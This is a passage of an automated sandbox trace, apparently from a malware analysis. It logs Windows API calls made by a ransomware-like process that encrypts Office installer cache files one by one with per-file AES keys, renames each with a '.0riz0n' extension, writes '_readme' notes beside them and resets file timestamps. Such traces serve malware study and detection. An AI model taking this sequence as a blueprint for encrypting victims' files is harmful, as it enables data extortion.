dwFlags=0x0, pbData=0xf47748*, pdwDataLen=0x17af858*=0x93a, dwBufLen=0xd3a | out: pbData=0xf47748*, pdwDataLen=0x17af858*=0x940) returned 1 [0079.250] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0079.250] WriteFile (in: hFile=0x1f0, lpBuffer=0x1acf180*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesWritten=0x17af85c*=0x93a, lpOverlapped=0x0) returned 1 [0079.250] FlushFileBuffers (hFile=0x1f0) returned 1 [0079.254] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0079.254] NtClose (Handle=0x1f0) returned 0x0 [0079.255] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0079.255] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0079.255] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0079.255] GetLastError () returned 0x2 [0079.255] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6928, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0079.255] GetLastError () returned 0x2 [0079.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0079.256] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0079.256] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0079.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0079.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0079.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0079.257] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d630) returned 1 [0079.257] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0079.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0079.257] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0079.257] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x43e914f0, dwHighDateTime=0x1d59598)) returned 1 [0079.257] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0079.257] NtClose (Handle=0x1f0) returned 0x0 [0079.258] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0079.258] CryptDestroyKey (hKey=0x459b38) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0079.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0079.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0079.259] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0079.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0079.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0079.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0079.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0079.260] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0079.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0079.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0079.260] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0079.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0079.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0079.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0079.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0079.260] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0079.260] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204)) returned 1 [0079.260] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0079.261] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0079.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0079.261] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0079.261] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0079.261] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf79111d0, dwHighDateTime=0x1d301be)) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0079.261] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0079.261] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0079.261] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0079.261] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0079.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0079.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0079.262] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0079.262] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0079.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0079.262] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0079.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0079.891] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0079.997] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0079.997] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0080.178] FlushFileBuffers (hFile=0x1f0) returned 1 [0080.269] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0080.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800240) returned 0x2d60020 [0080.270] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x800204, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x800204, lpOverlapped=0x0) returned 1 [0080.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800240) returned 0x3570020 [0080.721] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x800204, dwBufLen=0x800604 | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x800210) returned 1 [0080.838] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0080.838] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x800204, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x800204, lpOverlapped=0x0) returned 1 [0080.941] FlushFileBuffers (hFile=0x1f0) returned 1 [0081.505] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0081.505] NtClose (Handle=0x1f0) returned 0x0 [0081.509] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.0riz0n")) returned 1 [0081.510] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0081.510] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0081.510] GetLastError () returned 0x2 [0081.510] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6948, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0081.510] GetLastError () returned 0x2 [0081.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0081.513] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0081.513] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0081.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0081.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x13) returned 0x1baf768 [0081.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0081.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1baf768) returned 1 [0081.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0081.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0081.514] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f1, lpOverlapped=0x0) returned 1 [0081.514] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x45423c50, dwHighDateTime=0x1d59598)) returned 1 [0081.515] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0081.515] NtClose (Handle=0x1f0) returned 0x0 [0081.515] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0081.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0081.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0081.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0081.581] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0081.581] CryptDestroyKey (hKey=0x459b38) returned 1 [0081.581] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0081.581] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0081.581] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0081.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0081.582] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00)) returned 1 [0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0081.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0081.582] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0081.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0081.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0081.582] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00)) returned 1 [0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0081.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0081.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0081.583] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00)) returned 1 [0081.583] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0081.583] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0081.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0081.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0081.583] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0081.583] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0081.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0081.583] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf6e58f90, dwHighDateTime=0x1d301be)) returned 1 [0081.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0081.583] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0081.583] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0081.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0081.583] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0081.584] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0081.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0081.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0081.584] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0081.584] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0081.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2fac00) returned 0x2350020 [0081.585] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x2fac00, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x2fac00, lpOverlapped=0x0) returned 1 [0082.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2fac00) returned 0x2650020 [0082.529] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2650020*, pdwDataLen=0x17af858*=0x2fac00, dwBufLen=0x2fb000 | out: pbData=0x2650020*, pdwDataLen=0x17af858*=0x2fac10) returned 1 [0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2fac40) returned 0x2950020 [0082.656] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.656] WriteFile (in: hFile=0x1f0, lpBuffer=0x2950020*, nNumberOfBytesToWrite=0x2fac00, lpNumberOfBytesWritten=0x17af85c, 